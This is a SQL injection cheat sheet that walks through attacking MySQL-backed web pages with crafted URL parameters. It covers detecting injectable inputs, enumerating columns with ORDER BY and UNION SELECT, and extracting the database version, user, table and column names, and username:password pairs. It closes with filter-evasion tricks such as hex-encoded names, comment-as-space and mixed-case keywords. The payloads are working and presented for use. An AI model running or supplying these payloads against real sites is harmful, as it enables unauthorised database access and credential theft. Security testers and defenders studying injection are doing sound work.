Sql Injection Cheat Sheet

Sql Injection Test:

- **For testing string inputs and parameters we can use the following :**

  - Try at first with single quote if you see mysql error or a strange behavior have happened then the input or the parameter maybe vulnerable to Sql Injection

    www.site.com/categories.php?cat=news'

    if you find an error in the page such as 'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version' then it should be vulnerable to a mysql injection attack

  - Try with a smart and logical condition like a true and false ones and compare the two page responses

    http://www.site.com/categories.php?cat=news' and 'd'='d (the true condition)
    http://www.site.com/categories.php?cat=news' and 'd'='f (the false condition)

    if you find a difference between the two requests then it should be vulnerable to Sql Injection Attack

- **For testing integers and numerical inputs and parameters we can use the following :**

  - Try with Single quote if you see mysql error or a strange behavior input maybe vulnerable to Sql Injection

    http://www.site.com/news.php?id=10'

    if you find an error in the page such as 'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version' then it should be vulnerable to mysql injection attack

  - Try with a smart and logical condition with a true and false one compare the two page responses

    http://www.site.com/news.php?id=10 and 1=1 -- (the true condition)
    http://www.site.com/news.php?id=10 and 1=2 -- (the false condition)

    if you find a difference between the two requests then it should be vulnerable to Sql Injection Attack

Database Enumeration:

- **To find and detect the numbers of columns :**
  - you can use the order by statement :

    order by 1
    order by 2
    order by 3 etc...

Example:

http://www.site.com/news.php?id=1 order by 2

  - or use union select query and compare the response of the page to detect the correct number of columns

Example:

http://www.site.com/news.php?id=1 union select 1,2,3

- **To get the Mysql Version**
  - you can use the mysql function: version()

Example:

http://www.site.com/news.php?id=1+union+select+1,version(),3

- **To get Database Name :**
  - you can use the mysql function: database()

Example:

http://www.site.com/news.php?id=347+union+select+1,2,3,4,database()

- **To get Database user :**
  - you can use the mysql function: user()

Example:

http://www.site.com/news.php?id=877+union+select+1,2,3,4,5,6,7,8,user(),10

- **to get username and mysql version and database name in single query we can use the concat query:**

  - we can concat the three columns with the concat() function

Example:

http:// www.site.com/news.php?id=1+union+select+1,concat(user(),0x3a,version(),0x3a,database()),3

- **To extract and get more than column data in a single column**
  - You need to use concatenation function : concat()

Example:

http://www.site.com/news.php?id=56+union+select+1,2,3,4,concat(username,0x3a,password),6+from+users

- **To extract and get all Database Tables:**

  - You need to select table_name from information_schema.tables

Example:

http://www.site.com/news.php?
id=9+union+select+1,2,3,4,concat(table_schema,0x3a,table_name),6,7+from+information_schema.tables

- **To get all the tables columns:**

  - You need to select column_name from information_schema.columns

Example:

http://www.site.com/news.php?
id=1+union+select+1,2,3,4,5,6,7,8,9,10,11,concat(column_name,0x3a,table_schema),13,14,15+from+information_schema.columns

- **to get all columns for a specific table such as "users" table**

You have to select column_name from information_schema.columns using where clause to filter only results for this table

Example:

http://www.site.com/news.php?
id=1+union+select+1,2,3,4,5,6,7,8,9,10,11,concat(column_name,0x3a,table_schema),13,14,15+from+information_schema.columns where table_name = 'users'

Mysql Comments :

You can use different syntax for comments in mysql query :

1) use the double dash (-- -) example : http://www.site.com/news.php?id=1 union select 1,2,3 -- -
2) use the multi line comment (/*) example : http://www.site.com/news.php?id=1 union select 1,2,3 /*
3) use the hash tag (#) example: http://www.site.com/news.php?id=1 union select 1,2,3 #

note : for the hash tag comment you should encode the hash tag first with url encoding or it will have other meaning to the browser and won't send it within the request

you can use such url encoding page to encode the hash tag : http://www.webutils.pl/index.php?idx=url
Example of encoding # to url encode will be %23

http://www.site.com/news.php?id=1 union select 1,2,3 %23

Filter Evasion & Bypassing Tricks :

- **To bypass and avoid using the quotes ' ' in sql injection**

we can write the name in hex value Example to encode the table name such as users we can write it in hex to **0x7573657273**

Note: 0x = which mean that the text will be in hex and 7573657273 is the text encoded in hex valu

- **To bypass filters in space, sometimes when you try to inject database,**

If you find that something is wrong with you on the server Example: union+select+1,2,3,password,5+from+admin
Then you can bypass it by using comments /**/ which will acts exactly as a space between the query statements

Example :
//union/**/select/**/1,2,3,password/**/from/**/admin**

- **To bypass filter about words like union or select**

You can try to write union or select statement into mixed upper and lower letters cases to bypass case sensitive filters

Example: www.site.com/products.php?id=4478 uNIon sELeCT 1,2,3,4,5 fROm admins

Note : the previous mentioned examples was just some of the tricks that can be used to bypass the filters but this doesn't mean there is no more tricks around , of course there are many other tricks you can try it and we cannot count all of them, it's all depends on the case you are working on and your mind how to think to play with it and bypass it's security , so start searching for more tricks and always try to find your way to do it and have fun with Sql Injection ☺